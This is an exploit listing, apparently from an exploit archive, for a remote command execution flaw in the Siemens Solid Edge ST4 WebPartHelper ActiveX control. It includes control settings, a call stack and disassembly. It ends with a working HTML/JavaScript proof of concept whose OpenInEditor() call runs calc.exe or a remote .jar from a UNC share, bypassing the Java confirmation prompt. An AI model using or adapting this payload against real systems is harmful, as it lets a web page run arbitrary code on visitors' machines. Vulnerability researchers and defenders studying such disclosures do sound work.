Author

rgod

Risk

[

Security Risk High

]

0day-ID

0day-ID-20811

Category

remote exploits

Date add

26-05-2013

Platform

windows

SIEMENS Solid Edge ST4 WebPartHelper ActiveX Control
RFMSsvs!JShellExecuteEx Remote Command Execution
 
Tested against: Microsoft Windows Server 2003 r2 sp2
                Microsoft Windows XP sp3
                Internet Explorer 8
 
Software description: http://en.wikipedia.org/wiki/Solid_Edge
 
vendor site: http://www.siemens.com/entry/cc/en/
 
Download url: http://www.plm.automation.siemens.com/en_us/products/velocity/forms/solid-edge-student.cfm
 
File tested: SolidEdgeV104ENGLISH_32Bit.exe
 
Background:
 
The mentioned software installs an ActiveX control with
the following settings:
 
CLSID: {DD568718-FF20-48EA-973F-0BD5C9FCA522}
Progid: SolidEdge.WebPartHelper.1
Binary Path: C:\Program Files\Solid Edge ST4\Program\WPHelper.dll
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): False
Safe For Scripting (IObjectSafety): True
 
This control *implements* IObjectSafety: IE will query through the IObjectSafety
interface for "Safe for Initialization with data" and "Safe For Scripting".
 
According to IObjectSafety interface, this control is Safe for Scripting
then IE  will allow scripting of this control according to browser
security settings.
 
vulnerability:
 
the WebPartHelper Class offers the OpenInEditor() method, see typelib:
 
...
  /* DISPID=8 */
function OpenInEditor(
        /* VT_VARIANT [12] [in] */ $URL
        )
{
}
...
 
By passing an null session share path to the URL argument of this method
is possible to launch an arbitrary executable.
 
This is because of a ShellExecuteExW() call inside RFMSsvs.dll
 
Call stack when ShellExecuteExW() is called:
 
Address    Stack      Procedure / arguments                 Called from                   Frame
01B7E140   04AC9F0E   SHELL32.ShellExecuteExW               RFMSsvs.04AC9F08              01B7F280
01B7F284   022B71AD   ? <jmp.&RFMSsvs.JShellExecuteEx>      WPHelper.022B71A8             01B7F280
01B7F560   022B85B6   WPHelper.022B6D70                     WPHelper.022B85B1             01B7F55C
01B7F5D4   022B87A5   ? WPHelper.022B8380                   WPHelper.022B87A0             01B7F5D0
01B7F620   022B89CB   WPHelper.022B8710                     WPHelper.022B89C6             01B7F61C
01B7F668   7D0E5186   Includes WPHelper.022B89CB            OLEAUT32.7D0E5184             01B7F664
01B7F690   7D0F4ACF   ? OLEAUT32.DispCallFunc               OLEAUT32.7D0F4ACA             01B7F68C
01B7F720   022B58C3   Includes OLEAUT32.7D0F4ACF            WPHelper.022B58C1             01B7F71C
01B7F748   40302C02   Includes WPHelper.022B58C3            jscript.40302BFF              01B7F744
01B7F784   40302B6F   jscript.40302B90                      jscript.40302B6A              01B7F780
01B7F7C0   40302AFA   jscript.40302B2E                      jscript.40302AF5              01B7F7BC
01B7F834   40303555   ? jscript.40302A88                    jscript.40303550              01B7F830
01B7F878   40301221   jscript.4030122A                      jscript.4030121C              01B7F874
01B7F8B8   403011D6   jscript.403011E1                      jscript.403011D1              01B7F8B4
01B7F8DC   4030312D   jscript.40301182                      jscript.40303128              01B7F8D8
 
 
WPHelper.dll:
...
022B718A   899D 74FDFFFF    mov dword ptr ss:[ebp-28C],ebx
022B7190   8D85 D8FDFFFF    lea eax,dword ptr ss:[ebp-228]
022B7196   50               push eax
022B7197   8D8D 60FDFFFF    lea ecx,dword ptr ss:[ebp-2A0]
022B719D   51               push ecx
022B719E   C785 7CFDFFFF 01>mov dword ptr ss:[ebp-284],1
022B71A8   E8 ADBB0100      call <jmp.&RFMSsvs.JShellExecuteEx>
...
 
 
RFMSsvs.dll:
...
04AC9ECF   8B85 A4EFFFFF    mov eax,dword ptr ss:[ebp-105C]
04AC9ED5   8D8D 4CEFFFFF    lea ecx,dword ptr ss:[ebp-10B4]
04AC9EDB   8946 24          mov dword ptr ds:[esi+24],eax
04AC9EDE   FF15 0CE3CB04    call dword ptr ds:[<&JUtil.??BGUserText@@QBEPB_WXZ>]                    ; JUtil.??BGUserText@@QBEPB_WXZ
04AC9EE4   8946 10          mov dword ptr ds:[esi+10],eax
04AC9EE7   C645 FC 02       mov byte ptr ss:[ebp-4],2
04AC9EEB   8D8D D8EEFFFF    lea ecx,dword ptr ss:[ebp-1128]
04AC9EF1   E8 6A89F1FF      call RFMSsvs.??1JrfmsFileName@@QAE@XZ
04AC9EF6   EB 0F            jmp short RFMSsvs.04AC9F07
04AC9EF8   8D8D 84EFFFFF    lea ecx,dword ptr ss:[ebp-107C]
04AC9EFE   FF15 0CE3CB04    call dword ptr ds:[<&JUtil.??BGUserText@@QBEPB_WXZ>]                    ; JUtil.??BGUserText@@QBEPB_WXZ
04AC9F04   8946 10          mov dword ptr ds:[esi+10],eax        ; eax -> "\\192.168.2.100\uncshare\CmdExec.jar"
04AC9F07   56               push esi
04AC9F08   FF15 E8E6CB04    call dword ptr ds:[<&SHELL32.ShellExecuteExW>]                          ; SHELL32.ShellExecuteExW
...
 
As attachment, proof of concept code.
Note that by pointing OpenInEditor() (and consequently ShellExecuteExW() )
to a remote .jar file as handled in JRE/JDK7u21 is possible to bypass
the usual confirmation box.
 
<!--
SIEMENS Solid Edge WebPartHelper ActiveX Control RFMSsvs!JShellExecuteEx
Remote Command Execution PoC
 
CLSID: {DD568718-FF20-48EA-973F-0BD5C9FCA522}
Progid: SolidEdge.WebPartHelper.1
Binary Path: C:\Program Files\Solid Edge ST4\Program\WPHelper.dll
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): False
Safe For Scripting (IObjectSafety): True
-->
<!-- saved from url=(0014)about:internet -->
<html>
<script>
 
  var obj = new ActiveXObject("SolidEdge.WebPartHelper.1");
    
  //launch calc.exe
  //obj.OpenInEditor("c:\\windows\\system32\\calc.exe");
 
  //bypass the confirmation box, JRE/JDK7u21
  obj.OpenInEditor("\\\\192.168.0.1\\uncshare\\CmdExec.jar");
 
 
</script>

#  0day.today [2024-11-04]  #